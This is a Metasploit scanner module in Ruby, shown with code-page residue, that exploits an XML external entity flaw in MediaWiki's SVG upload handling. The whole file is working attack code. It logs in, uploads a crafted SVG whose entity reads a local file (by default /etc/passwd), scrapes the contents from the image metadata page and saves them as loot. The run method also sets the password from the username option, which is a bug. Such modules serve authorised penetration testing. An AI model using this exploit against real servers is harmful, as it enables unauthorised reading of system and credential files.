298 lines
9.7 KiB
Ruby
298 lines
9.7 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/framework/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit4 < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'MediaWiki SVG XML Entity Expansion Remote File Access',
|
|
'Description' => %q{
|
|
This module attempts to read a remote file from the server using a vulnerability
|
|
in the way MediaWiki handles SVG files. The vulnerability occurs while trying to
|
|
expand external entities with the SYSTEM identifier. In order to work MediaWiki must
|
|
be configured to accept upload of SVG files. If anonymous uploads are allowed the
|
|
username and password aren't required, otherwise they are. This module has been
|
|
tested successfully on MediaWiki 1.19.4, 1.20.3 on Ubuntu 10.04 and Ubuntu 12.10.
|
|
Older versions were also tested but do not seem to be vulnerable to this vulnerability.
|
|
The following MediaWiki requirements must be met: File upload must be enabled,
|
|
$wgFileExtensions[] must include 'svg', $wgSVGConverter must be set to something
|
|
other than 'false'.
|
|
},
|
|
'References' =>
|
|
[
|
|
[ 'OSVDB', '92490' ],
|
|
[ 'URL', 'https://bugzilla.wikimedia.org/show_bug.cgi?id=46859' ],
|
|
[ 'URL', 'http://www.gossamer-threads.com/lists/wiki/mediawiki-announce/350229']
|
|
],
|
|
'Author' =>
|
|
[
|
|
'Daniel Franke', # Vulnerability discovery and PoC
|
|
'juan vazquez', # Metasploit module
|
|
'Christian Mehlmauer' # Metasploit module
|
|
],
|
|
'License' => MSF_LICENSE
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(80),
|
|
OptString.new('TARGETURI', [true, 'Path to MediaWiki', '/mediawiki']),
|
|
OptString.new('RFILE', [true, 'Remote File', '/etc/passwd']),
|
|
OptString.new('USERNAME', [ false, "The user to authenticate as"]),
|
|
OptString.new('PASSWORD', [ false, "The password to authenticate with" ])
|
|
], self.class)
|
|
|
|
register_autofilter_ports([ 80 ])
|
|
deregister_options('RHOST')
|
|
end
|
|
|
|
def rport
|
|
datastore['RPORT']
|
|
end
|
|
|
|
def peer(rhost)
|
|
"#{rhost}:#{rport}"
|
|
end
|
|
|
|
def get_first_session
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.to_s, "index.php"),
|
|
'method' => 'GET',
|
|
'vars_get' => {
|
|
"title" => "Special:UserLogin",
|
|
"returnto" => "Main+Page"
|
|
}
|
|
})
|
|
|
|
if res and res.code == 200 and res.headers['Set-Cookie'] and res.headers['Set-Cookie'] =~ /([^\s]*session)=([a-z0-9]+)/
|
|
return $1,$2
|
|
else
|
|
return nil
|
|
end
|
|
end
|
|
|
|
def get_login_token
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.to_s, "index.php"),
|
|
'method' => 'GET',
|
|
'vars_get' => {
|
|
"title" => "Special:UserLogin",
|
|
"returnto" => "Main+Page"
|
|
},
|
|
'cookie' => session_cookie
|
|
})
|
|
|
|
if res and res.code == 200 and res.body =~ /name="wpLoginToken" value="([a-f0-9]*)"/
|
|
return $1
|
|
else
|
|
return nil
|
|
end
|
|
|
|
end
|
|
|
|
def parse_auth_cookie(cookies)
|
|
cookies.split(";").each do |part|
|
|
case part
|
|
when /([^\s]*UserID)=(.*)/
|
|
@wiki_user_id_name = $1
|
|
@wiki_user_id = $2
|
|
when /([^\s]*UserName)=(.*)/
|
|
@wiki_user_name_name = $1
|
|
@wiki_user_name = $2
|
|
when /session=(.*)/
|
|
@wiki_session = $1
|
|
else
|
|
next
|
|
end
|
|
end
|
|
end
|
|
|
|
def session_cookie
|
|
if @user and @password
|
|
return "#{@wiki_session_name}=#{@wiki_session}; #{@wiki_user_id_name}=#{@wiki_user_id}; #{@wiki_user_name_name}=#{@wiki_user_name}"
|
|
else
|
|
return "#{@wiki_session_name}=#{@wiki_session}"
|
|
end
|
|
end
|
|
|
|
def authenticate
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.to_s, "index.php"),
|
|
'method' => 'POST',
|
|
'vars_get' => {
|
|
"title" => "Special:UserLogin",
|
|
"action" => "submitlogin",
|
|
"type" => "login"
|
|
},
|
|
'vars_post' => {
|
|
"wpName" => datastore['USERNAME'],
|
|
"wpPassword" => datastore['PASSWORD'],
|
|
"wpLoginAttempt" => "Log+in",
|
|
"wpLoginToken" => @login_token,
|
|
"returnto" => "Main+Page"
|
|
},
|
|
'cookie' => session_cookie
|
|
})
|
|
|
|
if res and res.code == 302 and res.headers['Set-Cookie'] =~ /UserID=/
|
|
parse_auth_cookie(res.headers['Set-Cookie'])
|
|
return true
|
|
else
|
|
return false
|
|
end
|
|
end
|
|
|
|
def get_edit_token
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.to_s, "index.php", "Special:Upload"),
|
|
'method' => 'GET',
|
|
'cookie' => session_cookie
|
|
})
|
|
|
|
if res and res.code == 200 and res.body =~/<title>Upload file/ and res.body =~ /<input id="wpEditToken" type="hidden" value="([0-9a-f]*)\+\\" name="wpEditToken" \/>/
|
|
return $1
|
|
else
|
|
return nil
|
|
end
|
|
|
|
end
|
|
|
|
def upload_file
|
|
entity = Rex::Text.rand_text_alpha_lower(3)
|
|
@file_name = Rex::Text.rand_text_alpha_lower(4)
|
|
svg_file = %Q|
|
|
<!DOCTYPE svg [<!ENTITY #{entity} SYSTEM "file://#{datastore['RFILE']}">]>
|
|
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
|
|
<desc>&#{entity};</desc>
|
|
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:1;stroke:rgb(0,0,0)" />
|
|
</svg>
|
|
|
|
|
svg_file.gsub!(/\t\t/, "")
|
|
|
|
post_data = Rex::MIME::Message.new
|
|
post_data.add_part(svg_file, "image/svg+xml", nil, "form-data; name=\"wpUploadFile\"; filename=\"#{@file_name}.svg\"")
|
|
post_data.add_part("#{@file_name.capitalize}.svg", nil, nil, "form-data; name=\"wpDestFile\"")
|
|
post_data.add_part("", nil, nil, "form-data; name=\"wpUploadDescription\"")
|
|
post_data.add_part("", nil, nil, "form-data; name=\"wpLicense\"")
|
|
post_data.add_part("#{@edit_token}+\\", nil, nil, "form-data; name=\"wpEditToken\"")
|
|
post_data.add_part("Special:Upload", nil, nil, "form-data; name=\"title\"")
|
|
post_data.add_part("1", nil, nil, "form-data; name=\"wpDestFileWarningAck\"")
|
|
post_data.add_part("Upload file", nil, nil, "form-data; name=\"wpUpload\"")
|
|
|
|
# Work around an incompatible MIME implementation
|
|
data = post_data.to_s
|
|
data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")
|
|
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.to_s, "index.php", "Special:Upload"),
|
|
'method' => 'POST',
|
|
'data' => data,
|
|
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
|
'cookie' => session_cookie
|
|
})
|
|
|
|
if res and res.code == 302 and res.headers['Location']
|
|
return res.headers['Location']
|
|
else
|
|
# try to output the errormessage
|
|
if res and res.body
|
|
error = res.body.scan(/<div class="error">(.*?)<\/div>/m)[0]
|
|
if error and error.size == 1
|
|
vprint_error(error[0])
|
|
end
|
|
end
|
|
return nil
|
|
end
|
|
end
|
|
|
|
def read_data
|
|
res = send_request_cgi({
|
|
'uri' => @svg_uri,
|
|
'method' => 'GET',
|
|
'cookie' => session_cookie
|
|
})
|
|
|
|
if res and res.code == 200 and res.body =~ /File:#{@file_name.capitalize}.svg/ and res.body =~ /Metadata/ and res.body =~ /<th>Image title<\/th>\n<td>(.*)<\/td>\n<\/tr><\/table>/m
|
|
return $1
|
|
else
|
|
return nil
|
|
end
|
|
end
|
|
|
|
def accessfile(rhost)
|
|
vprint_status("#{peer(rhost)} MediaWiki - Getting unauthenticated session...")
|
|
@wiki_session_name, @wiki_session = get_first_session
|
|
if @wiki_session.nil?
|
|
print_error("#{peer(rhost)} MediaWiki - Failed to get unauthenticated session...")
|
|
return
|
|
end
|
|
vprint_status("#{peer(rhost)} Sessioncookie: #{@wiki_session_name}=#{@wiki_session}")
|
|
|
|
if @user and not @user.empty? and @password and not @password.empty?
|
|
vprint_status("#{peer(rhost)} MediaWiki - Getting login token...")
|
|
@login_token = get_login_token
|
|
if @login_token.nil?
|
|
print_error("#{peer(rhost)} MediaWiki - Failed to get login token")
|
|
return
|
|
end
|
|
vprint_status("#{peer(rhost)} Logintoken: #{@login_token}")
|
|
|
|
if not authenticate
|
|
print_error("#{peer(rhost)} MediaWiki - Failed to authenticate")
|
|
return
|
|
end
|
|
vprint_status("#{peer(rhost)} Userid cookie: #{@wiki_user_id_name}=#{@wiki_user_id}")
|
|
vprint_status("#{peer(rhost)} Username cookie: #{@wiki_user_name_name}=#{@wiki_user_name}")
|
|
vprint_status("#{peer(rhost)} Session cookie: #{@wiki_session_name}=#{@wiki_session}")
|
|
end
|
|
|
|
vprint_status("#{peer(rhost)} MediaWiki - Getting edit token...")
|
|
@edit_token = get_edit_token
|
|
if @edit_token.nil?
|
|
print_error("#{peer(rhost)} MediaWiki - Failed to get edit token")
|
|
return
|
|
end
|
|
vprint_status("#{peer(rhost)} Edittoken: #{@edit_token}")
|
|
|
|
vprint_status("#{peer(rhost)} MediaWiki - Uploading SVG file...")
|
|
@svg_uri = upload_file
|
|
if @svg_uri.nil?
|
|
print_error("#{peer(rhost)} MediaWiki - Failed to upload SVG file")
|
|
return
|
|
end
|
|
vprint_status("#{peer(rhost)} SVG URI: #{@svg_uri}")
|
|
|
|
vprint_status("#{peer(rhost)} MediaWiki - Retrieving remote file...")
|
|
loot = read_data
|
|
if loot.nil? or loot.empty?
|
|
print_error("#{peer(rhost)} MediaWiki - Failed to retrieve remote file")
|
|
return
|
|
end
|
|
|
|
f = ::File.basename(datastore['RFILE'])
|
|
path = store_loot('mediawiki.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE'])
|
|
print_status("#{peer(rhost)} MediaWiki - #{datastore['RFILE']} saved in #{path}")
|
|
end
|
|
|
|
def run
|
|
@user = datastore['USERNAME']
|
|
@password = datastore['USERNAME']
|
|
super
|
|
end
|
|
|
|
def run_host(ip)
|
|
accessfile(ip)
|
|
end
|
|
|
|
end
|